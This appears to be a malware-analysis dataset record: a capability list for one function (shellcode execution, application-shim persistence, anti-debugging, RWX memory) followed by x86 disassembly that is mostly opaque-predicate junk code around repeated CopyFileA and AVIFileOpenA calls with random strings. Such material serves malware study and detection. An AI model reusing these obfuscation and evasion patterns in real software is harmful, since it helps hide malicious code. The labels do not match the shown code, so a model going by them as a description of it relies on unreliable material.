Function at 0x401080
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Check for software breakpoints
Check http status code
Copy file
Decode data using base64 via winapi
Encrypt data using speck
Execute shellcode via indirect call
Parse pe header
Persist via application shimming
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x9d14
call fcn.00461fd0
push esi
push edi
mov dword [ebp - 4], 0x32
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [ebp - 0x716c], str.ZCnHqDz8uMU
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 8]
je 0x4010ba
mov dword [ebp - 0x2030], 1
jmp 0x4010c4
mov dword [ebp - 0x2030], 0
cmp dword [ebp - 0x2030], 0x29
je 0x4010d9
mov dword [ebp - 0x2044], 1
jmp 0x4010e3
mov dword [ebp - 0x2044], 0
mov ecx, dword [ebp + 8]
cmp ecx, dword [ebp + 8]
je 0x4010f7
mov dword [ebp - 0x2034], 1
jmp 0x401101
mov dword [ebp - 0x2034], 0
cmp dword [ebp - 0x2034], 0xaa
je 0x401119
mov dword [ebp - 0x2038], 1
jmp 0x401123
mov dword [ebp - 0x2038], 0
mov edx, dword [ebp - 0x2038]
cmp edx, dword [ebp + 8]
je 0x40113a
mov dword [ebp - 0x2048], 1
jmp 0x401144
mov dword [ebp - 0x2048], 0
mov eax, 0xe4
sub eax, dword [ebp + 8]
cmp eax, dword [ebp + 8]
je 0x40115d
mov dword [ebp - 0x203c], 1
jmp 0x401167
mov dword [ebp - 0x203c], 0
mov ecx, dword [ebp - 0x203c]
cmp ecx, dword [ebp + 8]
jne 0x40117e
mov dword [ebp - 0x2040], 1
jmp 0x401188
mov dword [ebp - 0x2040], 0
mov edx, dword [ebp - 0x2040]
cmp edx, dword [ebp + 8]
je 0x40119f
mov dword [ebp - 0x204c], 1
jmp 0x4011a9
mov dword [ebp - 0x204c], 0
mov eax, dword [ebp + 8]
add eax, dword [ebp + 8]
or eax, dword [ebp - 0x2044]
imul ecx, dword [ebp + 8], 0x4a
add ecx, dword [ebp + 8]
and ecx, 0x2f
and ecx, dword [ebp - 0x2048]
xor ecx, dword [ebp + 8]
xor ecx, dword [ebp + 8]
or eax, ecx
or eax, dword [ebp - 0x204c]
mov dword [ebp - 0x10f4], eax
mov edx, dword [ebp - 0x10f4]
neg edx
and edx, 1
mov eax, dword [ebp - 0x10f4]
and eax, 1
cmp edx, eax
je 0x4011fd
mov dword [ebp - 0x2050], 1
jmp 0x401207
mov dword [ebp - 0x2050], 0
mov ecx, dword [ebp - 0x2050]
add ecx, 4
mov dword [ebp - 0x10f4], ecx
push 0
mov edx, dword [ebp - 0x10f4]
push edx
mov eax, dword [ebp - 0x716c]
push eax
lea ecx, [ebp - 0x9394]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x403845
mov dword [ebp - 0x7170], str.A9vm7FRL3t9C0
mov dword [ebp - 0x7174], str.Qe9pMYnNLO7fpT6voCWA6kSQnc7x
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
je 0x40126a
mov dword [ebp - 0x2058], 1
jmp 0x401274
mov dword [ebp - 0x2058], 0
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jne 0x401288
mov dword [ebp - 0x2054], 1
jmp 0x401292
mov dword [ebp - 0x2054], 0
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x18]
cmp ecx, 0x90
je 0x4012ac
mov dword [ebp - 0x205c], 1
jmp 0x4012b6
mov dword [ebp - 0x205c], 0
imul edx, dword [ebp - 0x18], 0xa8
sub edx, 0xf
imul eax, dword [ebp - 0x18], 0x14
add edx, eax
cmp edx, dword [ebp - 0x18]
jne 0x4012d7
mov dword [ebp - 0x2060], 1
jmp 0x4012e1
mov dword [ebp - 0x2060], 0
mov ecx, dword [ebp - 0x18]
xor ecx, dword [ebp - 0x2054]
or ecx, dword [ebp - 0x2058]
mov edx, dword [ebp - 0x205c]
and edx, dword [ebp - 0x18]
and edx, 0x79
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x18]
and edx, eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x18]
and eax, dword [ebp - 0x2060]
xor edx, eax
or ecx, edx
mov dword [ebp - 0xadc], ecx
mov ecx, dword [ebp - 0xadc]
neg ecx
xor ecx, dword [ebp - 0xadc]
and ecx, 1
add ecx, 1
mov dword [ebp - 0xadc], ecx
mov edx, dword [ebp - 0xadc]
add edx, 1
mov dword [ebp - 0xadc], edx
mov eax, dword [ebp - 0xadc]
add eax, 1
mov dword [ebp - 0xadc], eax
mov ecx, dword [ebp - 0xadc]
push ecx
mov edx, dword [ebp - 0x7170]
push edx
mov eax, dword [ebp - 0x7174]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x84c], eax
cmp dword [ebp - 0x84c], 0
je 0x401e9d
mov dword [ebp - 0x7178], str.WxYgPG1Eo8Wp
imul ecx, dword [ebp - 0x84c], 7
cmp ecx, 0x8c
jne 0x4013a5
mov dword [ebp - 0x206c], 1
jmp 0x4013af
mov dword [ebp - 0x206c], 0
mov edx, dword [ebp - 0x84c]
add edx, 0xf1
cmp edx, dword [ebp - 0x84c]
je 0x4013cf
mov dword [ebp - 0x2070], 1
jmp 0x4013d9
mov dword [ebp - 0x2070], 0
cmp dword [ebp - 0x84c], 0x53
je 0x4013ee
mov dword [ebp - 0x2064], 1
jmp 0x4013f8
mov dword [ebp - 0x2064], 0
mov eax, dword [ebp - 0x84c]
add eax, 0x65
cmp dword [ebp - 0x2064], eax
je 0x401415
mov dword [ebp - 0x2068], 1
jmp 0x40141f
mov dword [ebp - 0x2068], 0
mov ecx, dword [ebp - 0x2068]
cmp ecx, dword [ebp - 0x84c]
je 0x401439
mov dword [ebp - 0x2074], 1
jmp 0x401443
mov dword [ebp - 0x2074], 0
mov edx, dword [ebp - 0x84c]
add edx, dword [ebp - 0x84c]
mov eax, dword [ebp - 0x206c]
and eax, dword [ebp - 0x2070]
xor eax, dword [ebp - 0x2074]
or edx, eax
mov dword [ebp - 0x10f8], edx
mov ecx, dword [ebp - 0x10f8]
add ecx, dword [ebp - 0x10f8]
and ecx, 1
add ecx, 1
imul edx, ecx, 5
mov dword [ebp - 0x10f8], edx
push 0
mov eax, dword [ebp - 0x10f8]
push eax
mov ecx, dword [ebp - 0x7178]
push ecx
lea edx, [ebp - 0x9398]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x538], eax
cmp dword [ebp - 0x538], 0
je 0x4018a9
mov dword [ebp - 0x717c], str.WdyDwaxgxb9hS0AdQjNsqNkHa8CMkT
mov eax, dword [ebp - 0x538]
sub eax, dword [ebp - 0x538]
cmp dword [ebp - 0x538], eax
jne 0x4014dd
mov dword [ebp - 0x2078], 1
jmp 0x4014e7
mov dword [ebp - 0x2078], 0
cmp dword [ebp - 0x2078], 0xfa
jne 0x4014ff
mov dword [ebp - 0x2084], 1
jmp 0x401509
mov dword [ebp - 0x2084], 0
mov ecx, dword [ebp - 0x538]
imul ecx, dword [ebp - 0x538]
cmp ecx, 0x7a
je 0x401527
mov dword [ebp - 0x2088], 1
jmp 0x401531
mov dword [ebp - 0x2088], 0
cmp dword [ebp - 0x538], 0xf3
jne 0x401549
mov dword [ebp - 0x207c], 1
jmp 0x401553
mov dword [ebp - 0x207c], 0
mov edx, dword [ebp - 0x207c]
cmp edx, dword [ebp - 0x538]
jne 0x40156d
mov dword [ebp - 0x2080], 1
jmp 0x401577
mov dword [ebp - 0x2080], 0
cmp dword [ebp - 0x2080], 0x24
jne 0x40158c
mov dword [ebp - 0x208c], 1
jmp 0x401596
mov dword [ebp - 0x208c], 0
mov eax, dword [ebp - 0x538]
and eax, dword [ebp - 0x2084]
or eax, dword [ebp - 0x538]
mov ecx, 0x5d
sub ecx, dword [ebp - 0x538]
and ecx, dword [ebp - 0x538]
or eax, ecx
or eax, dword [ebp - 0x2088]
or eax, dword [ebp - 0x208c]
mov dword [ebp - 0x10fc], eax
mov edx, dword [ebp - 0x10fc]
neg edx
xor edx, dword [ebp - 0x10fc]
and edx, 1
add edx, 1
mov dword [ebp - 0x10fc], edx
push 0
mov eax, dword [ebp - 0x10fc]
push eax
mov ecx, dword [ebp - 0x717c]
push ecx
lea edx, [ebp - 0x939c]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x401748
mov dword [ebp - 0x7180], str.igfcJvdcQoIDKVVPy
mov dword [ebp - 0x7184], str.NPh5xrap5Q7wh5hTdhpzX8m8EDwxEWd
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x38]
cmp eax, 0x9c
jne 0x401640
mov dword [ebp - 0x2090], 1
jmp 0x40164a
mov dword [ebp - 0x2090], 0
mov ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x38]
je 0x40165e
mov dword [ebp - 0x2094], 1
jmp 0x401668
mov dword [ebp - 0x2094], 0
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x38]
cmp edx, 0x2b
jne 0x40167f
mov dword [ebp - 0x2098], 1
jmp 0x401689
mov dword [ebp - 0x2098], 0
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x38]
cmp eax, 0x95
je 0x4016a2
mov dword [ebp - 0x209c], 1
jmp 0x4016ac
mov dword [ebp - 0x209c], 0
mov ecx, dword [ebp - 0x2090]
and ecx, dword [ebp - 0x2094]
mov edx, dword [ebp - 0x2098]
and edx, dword [ebp - 0x209c]
and edx, dword [ebp - 0x38]
or ecx, edx
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x38]
mov edx, 0x25
sub edx, eax
and edx, dword [ebp - 0x38]
and edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x38]
and edx, eax
or ecx, edx
mov dword [ebp - 0xb28], ecx
mov ecx, dword [ebp - 0xb28]
neg ecx
xor ecx, dword [ebp - 0xb28]
and ecx, 1
or ecx, 1
mov dword [ebp - 0xb28], ecx
mov edx, dword [ebp - 0xb28]
add edx, 1
mov dword [ebp - 0xb28], edx
mov eax, dword [ebp - 0xb28]
add eax, 1
mov dword [ebp - 0xb28], eax
mov ecx, dword [ebp - 0xb28]
push ecx
mov edx, dword [ebp - 0x7180]
push edx
mov eax, dword [ebp - 0x7184]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7188], eax
jmp 0x401751
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x718c], str.gdKunBNFtSbI3cWHb55lVPNrfAqj
mov dword [ebp - 0x7190], str.UPPddC3BQH0J1
mov edx, dword [ebp - 0x38]
imul edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x38]
jne 0x40177d
mov dword [ebp - 0x20a8], 1
jmp 0x401787
mov dword [ebp - 0x20a8], 0
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x38]
cmp eax, 0x48
je 0x40179f
mov dword [ebp - 0x20ac], 1
jmp 0x4017a9
mov dword [ebp - 0x20ac], 0
cmp dword [ebp - 0x38], 0x31
jne 0x4017bb
mov dword [ebp - 0x20a0], 1
jmp 0x4017c5
mov dword [ebp - 0x20a0], 0
mov ecx, dword [ebp - 0x38]
add ecx, 0xd
cmp dword [ebp - 0x20a0], ecx
jne 0x4017df
mov dword [ebp - 0x20a4], 1
jmp 0x4017e9
mov dword [ebp - 0x20a4], 0
mov edx, dword [ebp - 0x20a4]
cmp edx, dword [ebp - 0x38]
je 0x401800
mov dword [ebp - 0x20b0], 1
jmp 0x40180a
mov dword [ebp - 0x20b0], 0
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x38]
add eax, 0x67
mov ecx, dword [ebp - 0x20a8]
xor ecx, dword [ebp - 0x38]
or eax, ecx
or eax, dword [ebp - 0x20ac]
or eax, dword [ebp - 0x20b0]
or eax, dword [ebp - 0x38]
mov dword [ebp - 0xb2c], eax
mov edx, dword [ebp - 0xb2c]
not edx
cmp edx, dword [ebp - 0xb2c]
jne 0x40184f
mov dword [ebp - 0x20b4], 1
jmp 0x401859
mov dword [ebp - 0x20b4], 0
mov eax, dword [ebp - 0x20b4]
add eax, 1
mov dword [ebp - 0xb2c], eax
mov ecx, dword [ebp - 0xb2c]
add ecx, 1
mov dword [ebp - 0xb2c], ecx
mov edx, dword [ebp - 0xb2c]
add edx, 1
mov dword [ebp - 0xb2c], edx
mov eax, dword [ebp - 0xb2c]
push eax
mov ecx, dword [ebp - 0x718c]
push ecx
mov edx, dword [ebp - 0x7190]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7194], eax
jmp 0x4018b8
mov eax, dword [ebp - 0x538]
add eax, 1
mov dword [ebp - 0x538], eax
mov dword [ebp - 0x7198], str.yRBDMpWOzb8f4LkX0DSXRQECZA8oF
mov dword [ebp - 0x719c], str.vFhAn1JY9KDqBQ3mCnvKP5Qq2I7A17Y
mov ecx, dword [ebp - 0x538]
sub ecx, dword [ebp - 0x538]
cmp ecx, dword [ebp - 0x538]
jne 0x4018ec
mov dword [ebp - 0x20b8], 1
jmp 0x4018f6
mov dword [ebp - 0x20b8], 0
imul edx, dword [ebp - 0x538], 0x64
cmp dword [ebp - 0x20b8], edx
jne 0x401911
mov dword [ebp - 0x20c0], 1
jmp 0x40191b
mov dword [ebp - 0x20c0], 0
cmp dword [ebp - 0x538], 0xe8
je 0x401933
mov dword [ebp - 0x20bc], 1
jmp 0x40193d
mov dword [ebp - 0x20bc], 0
cmp dword [ebp - 0x20bc], 0xf5
jne 0x401955
mov dword [ebp - 0x20c4], 1
jmp 0x40195f
mov dword [ebp - 0x20c4], 0
mov eax, dword [ebp - 0x538]
add eax, 0x115
sub eax, dword [ebp - 0x538]
cmp dword [ebp - 0x538], eax
jne 0x401984
mov dword [ebp - 0x20c8], 1
jmp 0x40198e
mov dword [ebp - 0x20c8], 0
mov ecx, dword [ebp - 0x20c0]
and ecx, dword [ebp - 0x20c4]
and ecx, dword [ebp - 0x20c8]
mov dword [ebp - 0x71c], ecx
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x71c]
and edx, 1
add edx, 1
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x71c]
add eax, 1
mov dword [ebp - 0x71c], eax
mov ecx, dword [ebp - 0x71c]
add ecx, 1
mov dword [ebp - 0x71c], ecx
mov edx, dword [ebp - 0x71c]
push edx
mov eax, dword [ebp - 0x7198]
push eax
mov ecx, dword [ebp - 0x719c]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
je 0x401b8b
mov dword [ebp - 0x71a0], str.0GwSUOMQZ4r7CYN2YaFIoTWXf02Kwb
mov dword [ebp - 0x71a4], str.AniWYtLxdgo8WrfvSNy
imul edx, dword [ebp - 0xac], 0x5e
mov eax, dword [ebp - 0xac]
sub eax, 0xc0
add eax, dword [ebp - 0xac]
cmp edx, eax
je 0x401a46
mov dword [ebp - 0x20cc], 1
jmp 0x401a50
mov dword [ebp - 0x20cc], 0
mov ecx, dword [ebp - 0xac]
add ecx, dword [ebp - 0xac]
cmp dword [ebp - 0xac], ecx
je 0x401a70
mov dword [ebp - 0x20d0], 1
jmp 0x401a7a
mov dword [ebp - 0x20d0], 0
mov edx, 0x16
sub edx, dword [ebp - 0xac]
cmp edx, dword [ebp - 0xac]
jne 0x401a99
mov dword [ebp - 0x20d4], 1
jmp 0x401aa3
mov dword [ebp - 0x20d4], 0
mov eax, dword [ebp - 0xac]
sub eax, dword [ebp - 0xac]
add eax, 0xba
cmp dword [ebp - 0xac], eax
jne 0x401ac8
mov dword [ebp - 0x20d8], 1
jmp 0x401ad2
mov dword [ebp - 0x20d8], 0
mov ecx, dword [ebp - 0xac]
and ecx, dword [ebp - 0xac]
xor ecx, dword [ebp - 0x20cc]
mov edx, dword [ebp - 0x20d0]
and edx, dword [ebp - 0xac]
xor edx, 0xa3
or ecx, edx
or ecx, dword [ebp - 0x20d4]
or ecx, dword [ebp - 0x20d8]
mov dword [ebp - 0xb30], ecx
mov eax, dword [ebp - 0xb30]
neg eax
and eax, 1
mov ecx, dword [ebp - 0xb30]
and ecx, 1
cmp eax, ecx
je 0x401b2e
mov dword [ebp - 0x20dc], 1
jmp 0x401b38
mov dword [ebp - 0x20dc], 0
mov edx, dword [ebp - 0x20dc]
or edx, 1
mov dword [ebp - 0xb30], edx
mov eax, dword [ebp - 0xb30]
add eax, 1
mov dword [ebp - 0xb30], eax
mov ecx, dword [ebp - 0xb30]
add ecx, 1
mov dword [ebp - 0xb30], ecx
mov edx, dword [ebp - 0xb30]
push edx
mov eax, dword [ebp - 0x71a0]
push eax
mov ecx, dword [ebp - 0x71a4]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x71a8], eax
jmp 0x401cc9
mov dword [ebp - 0x71ac], str.5wBEH6xVXX5mAuvqcDg4zChchsNA5ut
mov dword [ebp - 0x71b0], str.TrK47GgXqV
cmp dword [ebp - 0x71c], 0x47
jne 0x401bb4
mov dword [ebp - 0x20e0], 1
jmp 0x401bbe
mov dword [ebp - 0x20e0], 0
mov edx, dword [ebp - 0x20e0]
cmp edx, dword [ebp - 0x71c]
jne 0x401bd8
mov dword [ebp - 0x20e4], 1
jmp 0x401be2
mov dword [ebp - 0x20e4], 0
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x71c]
add eax, 0xc0
sub eax, dword [ebp - 0x71c]
cmp eax, 0xda
je 0x401c0c
mov dword [ebp - 0x20e8], 1
jmp 0x401c16
mov dword [ebp - 0x20e8], 0
mov ecx, dword [ebp - 0x20e4]
and ecx, dword [ebp - 0x20e8]
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x71c]
sub edx, 0x63
and ecx, edx
mov eax, dword [ebp - 0x71c]
sub eax, dword [ebp - 0x71c]
and ecx, eax
xor ecx, dword [ebp - 0x71c]
mov dword [ebp - 0xb34], ecx
mov ecx, dword [ebp - 0xb34]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0xb34]
and edx, 1
cmp ecx, edx
je 0x401c71
mov dword [ebp - 0x20ec], 1
jmp 0x401c7b
mov dword [ebp - 0x20ec], 0
mov eax, dword [ebp - 0x20ec]
add eax, 1
mov dword [ebp - 0xb34], eax
mov ecx, dword [ebp - 0xb34]
add ecx, 1
mov dword [ebp - 0xb34], ecx
mov edx, dword [ebp - 0xb34]
add edx, 1
mov dword [ebp - 0xb34], edx
mov eax, dword [ebp - 0xb34]
push eax
mov ecx, dword [ebp - 0x71ac]
push ecx
mov edx, dword [ebp - 0x71b0]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x71b4], eax
mov dword [ebp - 0x71b8], str.GynbDEkVfhgbnCdQLIbpjC5
mov eax, dword [ebp - 0xac]
cmp eax, dword [ebp - 0xac]
jne 0x401ced
mov dword [ebp - 0x20f0], 1
jmp 0x401cf7
mov dword [ebp - 0x20f0], 0
mov ecx, dword [ebp - 0xac]
add ecx, 0x72
cmp dword [ebp - 0x20f0], ecx
je 0x401d14
mov dword [ebp - 0x2100], 1
jmp 0x401d1e
mov dword [ebp - 0x2100], 0
mov edx, dword [ebp - 0xac]
add edx, 0x54
mov eax, dword [ebp - 0xac]
add eax, 0x43
cmp edx, eax
jne 0x401d40
mov dword [ebp - 0x2104], 1
jmp 0x401d4a
mov dword [ebp - 0x2104], 0
cmp dword [ebp - 0xac], 0xe4
jne 0x401d62
mov dword [ebp - 0x20f4], 1
jmp 0x401d6c
mov dword [ebp - 0x20f4], 0
mov ecx, dword [ebp - 0x20f4]
cmp ecx, dword [ebp - 0xac]
jne 0x401d86
mov dword [ebp - 0x20f8], 1
jmp 0x401d90
mov dword [ebp - 0x20f8], 0
cmp dword [ebp - 0x20f8], 0xa1
jne 0x401da8
mov dword [ebp - 0x20fc], 1
jmp 0x401db2
mov dword [ebp - 0x20fc], 0
mov edx, dword [ebp - 0xac]
add edx, dword [ebp - 0xac]
add edx, 0xd9
cmp dword [ebp - 0x20fc], edx
je 0x401dd8
mov dword [ebp - 0x2108], 1
jmp 0x401de2
mov dword [ebp - 0x2108], 0
mov eax, dword [ebp - 0xac]
xor eax, dword [ebp - 0x2100]
mov ecx, dword [ebp - 0xac]
xor ecx, dword [ebp - 0x2104]
or eax, ecx
or eax, dword [ebp - 0xac]
mov edx, dword [ebp - 0xac]
xor edx, 0x34
or eax, edx
or eax, dword [ebp - 0xac]
or eax, dword [ebp - 0x2108]
mov dword [ebp - 0x1100], eax
mov eax, dword [ebp - 0x1100]
neg eax
and eax, 1
mov ecx, dword [ebp - 0x1100]
and ecx, 1
cmp eax, ecx
je 0x401e43
mov dword [ebp - 0x210c], 1
jmp 0x401e4d
mov dword [ebp - 0x210c], 0
mov edx, dword [ebp - 0x210c]
or edx, 2
mov dword [ebp - 0x1100], edx
push 0
mov eax, dword [ebp - 0x1100]
push eax
mov ecx, dword [ebp - 0x71b8]
push ecx
lea edx, [ebp - 0x93a0]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1a74], eax
cmp dword [ebp - 0x1a74], 0
je 0x401e89
jmp 0x401e98
mov eax, dword [ebp - 0x1a74]
add eax, 1
mov dword [ebp - 0x1a74], eax
jmp 0x402cd8
mov dword [ebp - 0x71bc], str.gy2y0ob8dMZYZXSnv9yjMdr5
mov dword [ebp - 0x71c0], str.Z4d8AazzoKfpTu2UgKmw
mov ecx, dword [ebp - 0xadc]
add ecx, 0x92
and ecx, dword [ebp - 0xadc]
xor ecx, 0x91
xor ecx, dword [ebp - 0xadc]
mov edx, dword [ebp - 0xadc]
add edx, 0xe1
or ecx, edx
mov eax, dword [ebp - 0xadc]
add eax, 0xd4
xor eax, dword [ebp - 0xadc]
or ecx, eax
mov edx, dword [ebp - 0xadc]
sub edx, 0x2e
or ecx, edx
mov dword [ebp - 0x904], ecx
mov eax, dword [ebp - 0x904]
not eax
cmp eax, dword [ebp - 0x904]
jne 0x401f1d
mov dword [ebp - 0x2110], 1
jmp 0x401f27
mov dword [ebp - 0x2110], 0
mov ecx, dword [ebp - 0x2110]
add ecx, 1
mov dword [ebp - 0x904], ecx
mov edx, dword [ebp - 0x904]
add edx, 1
mov dword [ebp - 0x904], edx
mov eax, dword [ebp - 0x904]
add eax, 1
mov dword [ebp - 0x904], eax
mov ecx, dword [ebp - 0x904]
push ecx
mov edx, dword [ebp - 0x71bc]
push edx
mov eax, dword [ebp - 0x71c0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x908], eax
cmp dword [ebp - 0x908], 0
je 0x4022e8
mov dword [ebp - 0x71c4], str.nSCVGSkNhmZRmDNtEWdyGGIOYJEWU4
mov ecx, dword [ebp - 0x908]
sub ecx, 0x5d
mov edx, dword [ebp - 0x908]
sub edx, dword [ebp - 0x908]
sub edx, 0xc6
mov eax, dword [ebp - 0x908]
imul eax, dword [ebp - 0x908]
imul eax, eax, 0x99
sub edx, eax
add edx, dword [ebp - 0x908]
add edx, 0x35
cmp ecx, edx
je 0x401fd5
mov dword [ebp - 0x2114], 1
jmp 0x401fdf
mov dword [ebp - 0x2114], 0
mov ecx, 0xa8
and ecx, dword [ebp - 0x908]
or ecx, 0x7d
or ecx, dword [ebp - 0x2114]
mov dword [ebp - 0x1104], ecx
mov edx, dword [ebp - 0x1104]
not edx
cmp edx, dword [ebp - 0x1104]
jne 0x402015
mov dword [ebp - 0x2118], 1
jmp 0x40201f
mov dword [ebp - 0x2118], 0
mov eax, dword [ebp - 0x2118]
add eax, 5
mov dword [ebp - 0x1104], eax
push 0
mov ecx, dword [ebp - 0x1104]
push ecx
mov edx, dword [ebp - 0x71c4]
push edx
lea eax, [ebp - 0x93a4]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0
je 0x4021ee
mov dword [ebp - 0x71c8], str.d74mCzBSCg0cH
mov ecx, dword [ebp - 0x2b0]
add ecx, 0x8c
cmp dword [ebp - 0x2b0], ecx
je 0x402087
mov dword [ebp - 0x2128], 1
jmp 0x402091
mov dword [ebp - 0x2128], 0
imul edx, dword [ebp - 0x2b0], 0xd0
imul edx, dword [ebp - 0x2b0]
add edx, dword [ebp - 0x2b0]
cmp dword [ebp - 0x2b0], edx
jne 0x4020bc
mov dword [ebp - 0x211c], 1
jmp 0x4020c6
mov dword [ebp - 0x211c], 0
mov eax, dword [ebp - 0x211c]
cmp eax, dword [ebp - 0x2b0]
je 0x4020e0
mov dword [ebp - 0x2120], 1
jmp 0x4020ea
mov dword [ebp - 0x2120], 0
mov ecx, dword [ebp - 0x2120]
cmp ecx, dword [ebp - 0x2b0]
je 0x402104
mov dword [ebp - 0x2124], 1
jmp 0x40210e
mov dword [ebp - 0x2124], 0
mov edx, dword [ebp - 0x2124]
cmp edx, dword [ebp - 0x2b0]
je 0x402128
mov dword [ebp - 0x212c], 1
jmp 0x402132
mov dword [ebp - 0x212c], 0
mov eax, dword [ebp - 0x2b0]
add eax, 0xcb
and eax, dword [ebp - 0x2128]
xor eax, dword [ebp - 0x2b0]
mov ecx, dword [ebp - 0x2b0]
sub ecx, dword [ebp - 0x2b0]
xor eax, ecx
imul edx, dword [ebp - 0x2b0], 0x5e
xor eax, edx
mov ecx, dword [ebp - 0x2b0]
imul ecx, dword [ebp - 0x2b0]
xor eax, ecx
xor eax, dword [ebp - 0x212c]
mov dword [ebp - 0x1108], eax
mov edx, dword [ebp - 0x1108]
not edx
cmp edx, dword [ebp - 0x1108]
jne 0x402197
mov dword [ebp - 0x2130], 1
jmp 0x4021a1
mov dword [ebp - 0x2130], 0
mov eax, dword [ebp - 0x2130]
add eax, 3
mov dword [ebp - 0x1108], eax
push 0
mov ecx, dword [ebp - 0x1108]
push ecx
mov edx, dword [ebp - 0x71c8]
push edx
lea eax, [ebp - 0x93a8]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1a78], eax
cmp dword [ebp - 0x1a78], 0
je 0x4021dd
jmp 0x4021ec
mov ecx, dword [ebp - 0x1a78]
add ecx, 1
mov dword [ebp - 0x1a78], ecx
jmp 0x4021fd
mov edx, dword [ebp - 0x2b0]
add edx, 1
mov dword [ebp - 0x2b0], edx
mov dword [ebp - 0x71cc], str.II9ZBVIAvoedlMrOiYPJfV3
mov dword [ebp - 0x71d0], str.M1SAsXhIl
imul eax, dword [ebp - 0x2b0], 0x54
cmp eax, dword [ebp - 0x2b0]
je 0x40222c
mov dword [ebp - 0x2138], 1
jmp 0x402236
mov dword [ebp - 0x2138], 0
mov ecx, dword [ebp - 0x2b0]
sub ecx, 0xb7
add ecx, dword [ebp - 0x2b0]
cmp ecx, 0x92
je 0x40225c
mov dword [ebp - 0x2134], 1
jmp 0x402266
mov dword [ebp - 0x2134], 0
mov edx, dword [ebp - 0x2b0]
and edx, 0x75
xor edx, dword [ebp - 0x2134]
imul eax, dword [ebp - 0x2b0], 0x1e
xor edx, eax
or edx, dword [ebp - 0x2138]
mov dword [ebp - 0xb38], edx
mov ecx, dword [ebp - 0xb38]
neg ecx
xor ecx, dword [ebp - 0xb38]
and ecx, 1
add ecx, 1
mov dword [ebp - 0xb38], ecx
mov edx, dword [ebp - 0xb38]
add edx, 1
mov dword [ebp - 0xb38], edx
mov eax, dword [ebp - 0xb38]
add eax, 1
mov dword [ebp - 0xb38], eax
mov ecx, dword [ebp - 0xb38]
push ecx
mov edx, dword [ebp - 0x71cc]
push edx
mov eax, dword [ebp - 0x71d0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x71d4], eax
jmp 0x402876
mov dword [ebp - 0x71d8], str.icTzPRyaouOdhg50srmG0epk1lj31t
mov dword [ebp - 0x71dc], str.v2WFfOnJdo1zh69
mov ecx, dword [ebp - 0x904]
imul ecx, dword [ebp - 0x904]
cmp ecx, dword [ebp - 0x904]
je 0x40231d
mov dword [ebp - 0x213c], 1
jmp 0x402327
mov dword [ebp - 0x213c], 0
cmp dword [ebp - 0x213c], 0x85
jne 0x40233f
mov dword [ebp - 0x2140], 1
jmp 0x402349
mov dword [ebp - 0x2140], 0
mov edx, 0x2e
mov eax, dword [ebp - 0x904]
imul eax, dword [ebp - 0x904]
mov ecx, 0x68
sub ecx, eax
and edx, ecx
or edx, dword [ebp - 0x904]
imul eax, dword [ebp - 0x904], 0xc5
and eax, dword [ebp - 0x2140]
xor eax, dword [ebp - 0x904]
or edx, eax
mov dword [ebp - 0x608], edx
mov ecx, dword [ebp - 0x608]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0x608]
and edx, 1
cmp ecx, edx
je 0x4023ac
mov dword [ebp - 0x2144], 1
jmp 0x4023b6
mov dword [ebp - 0x2144], 0
mov eax, dword [ebp - 0x2144]
add eax, 1
mov dword [ebp - 0x608], eax
mov ecx, dword [ebp - 0x608]
add ecx, 1
mov dword [ebp - 0x608], ecx
mov edx, dword [ebp - 0x608]
add edx, 1
mov dword [ebp - 0x608], edx
mov eax, dword [ebp - 0x608]
push eax
mov ecx, dword [ebp - 0x71d8]
push ecx
mov edx, dword [ebp - 0x71dc]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 0
